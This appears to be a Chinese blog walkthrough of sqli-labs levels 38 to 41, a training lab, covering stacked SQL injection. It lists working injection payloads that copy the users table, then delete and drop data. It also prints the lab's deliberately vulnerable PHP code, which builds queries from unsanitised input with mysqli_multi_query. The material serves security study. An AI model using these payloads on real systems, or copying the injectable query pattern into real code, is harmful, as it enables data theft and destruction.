sqli-labs 通关指南:Less 38 ~ 41

Less 38 ~ 41 虽然使用 Less 1 的方式注入即可注入成功,但是这 4 关存在堆叠注入漏洞。我们可以使用 “;” 闭合第一个 SQL 语句,然后在后面执行任意的 SQL 语句,通过这个漏洞我们可以对数据库执行任意的操作。

Less 38

判断注入类型

输入正确的参数,网页回显正常的信息。使用单引号闭合,网页回显错误信息。

?id=1'


把后面的信息注释掉,网页返回正常信息,说明此处存在单引号闭合的字符型注入。

?id=1'--+

堆叠注入

此处使用 Less 1 的 payload 就可以完成注入,此处用于测试堆叠注入。所谓堆叠注入就是在原语句后加上分号,从而闭合前面的内容作为第一条 SQL 语句。然后在后面输入第二条的数据库操作语句,在条件允许可以被后端带入数据库执行。堆叠注入使用的范围非常有限,例如后端可能会限制 SQL 只执行一条语句。一旦这种漏洞存在,对数据库的破坏性是毁灭性的,因为这表示攻击者可以肆意对数据库进行操作。
例如此处使用堆叠注入新建一张表,使用 CREATE TABLE 子句,该表将复制 users 表作为一张新的表存在。这种复制可以结合 SQL 注入爆出表名来复制,也可以用社会工程学来猜测。

?id=1';CREATE TABLE WhiteMoon LIKE users;--+


网页回显正常的信息,打开数据库发现已经多了一张新的表了。

使用堆叠查询把 users 表中的数据插入新的表中,使用 INSERT INTO 子句实现。

?id=1';INSERT INTO WhiteMoon SELECT * FROM users;--+


使用堆叠查询新建的表的所有记录删掉,使用 DELETE 子句实现。

?id=1';DELETE FROM WhiteMoon;--+


使用堆叠查询把新建的表删掉,使用 DROP 子句实现。

?id=1';DROP TABLE WhiteMoon;--+

SQL 查询语句

可以看到源码使用了 mysqli_multi_query() 函数,该函数可以执行多个 MySQL 语句。之前的 Less 使用的是 mysql_query() 函数,该函数只执行一条 MySQL 查询。

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{    
      /* store first result set */
      if ($result = mysqli_store_result($con1))
      {
            if($row = mysqli_fetch_row($result))
            {
                  echo '<font size = "5" color= "#00FF00">';	
                  printf("Your Username is : %s", $row[1]);
                  echo "<br>";
                  printf("Your Password is : %s", $row[2]);
                  echo "<br>";
                  echo "</font>";
            }
            //mysqli_free_result($result);
      }
      /* print divider */
      if (mysqli_more_results($con1))
      {
            //printf("-----------------\n");
      }
      //while (mysqli_next_result($con1));
}
else 
{
      echo '<font size="5" color= "#FFFF00">';
      print_r(mysqli_error($con1));
      echo "</font>";  
}

Less 39

判断注入类型

输入正确的参数,网页回显正常的信息。使用单引号闭合,网页回显错误信息。

?id=1'


把后面的信息注释掉,网页仍然返回错误信息。测试以下所有语句都是错误,说明此处存在数值型注入。

?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+

堆叠注入

使用堆叠查询完成 Less 38 的样例。

?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+

SQL 查询语句

$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";

Less 40

判断注入类型

输入正确的参数,网页回显正常的信息。使用单引号闭合,网页无回显。

?id=1'


把后面的信息注释掉,网页仍然返回错误信息。测试以下所有语句,测试得出此处是单引号和括号闭合的字符型盲注。

?id=1'--+
?id=1')--+

堆叠注入

使用堆叠查询完成 Less 38 的样例。

?id=1');CREATE TABLE WhiteMoon LIKE users;--+
?id=1');INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1');DELETE FROM WhiteMoon;--+
?id=1');DROP TABLE WhiteMoon;--+

SQL 查询语句

$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";

if (mysqli_multi_query($con1, $sql))
{
      /* store first result set */
      if ($result = mysqli_store_result($con1))
      {
            if($row = mysqli_fetch_row($result))
            {
                  echo '<font size = "5" color= "#00FF00">';	
                  printf("Your Username is : %s", $row[1]);
                  echo "<br>";
                  printf("Your Password is : %s", $row[2]);
                  echo "<br>";
                  echo "</font>";
            }
            //mysqli_free_result($result);
      }
      /* print divider */
      if (mysqli_more_results($con1))
      {
            //printf("-----------------\n");
      }
      //while (mysqli_next_result($con1));
}

Less 41

判断注入类型

输入正确的参数,网页回显正常的信息。使用单引号闭合,网页无回显。

?id=1'


把后面的信息注释掉,网页无回显。测试以下所有语句,全部都无回显,说明此处存在数值型盲注。

?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+

堆叠注入

使用堆叠查询完成 Less 38 的样例。

?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+

SQL 查询语句

$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
posted @ 2020-11-15 16:24  乌漆WhiteMoon  阅读(1469)  评论(0编辑  收藏  举报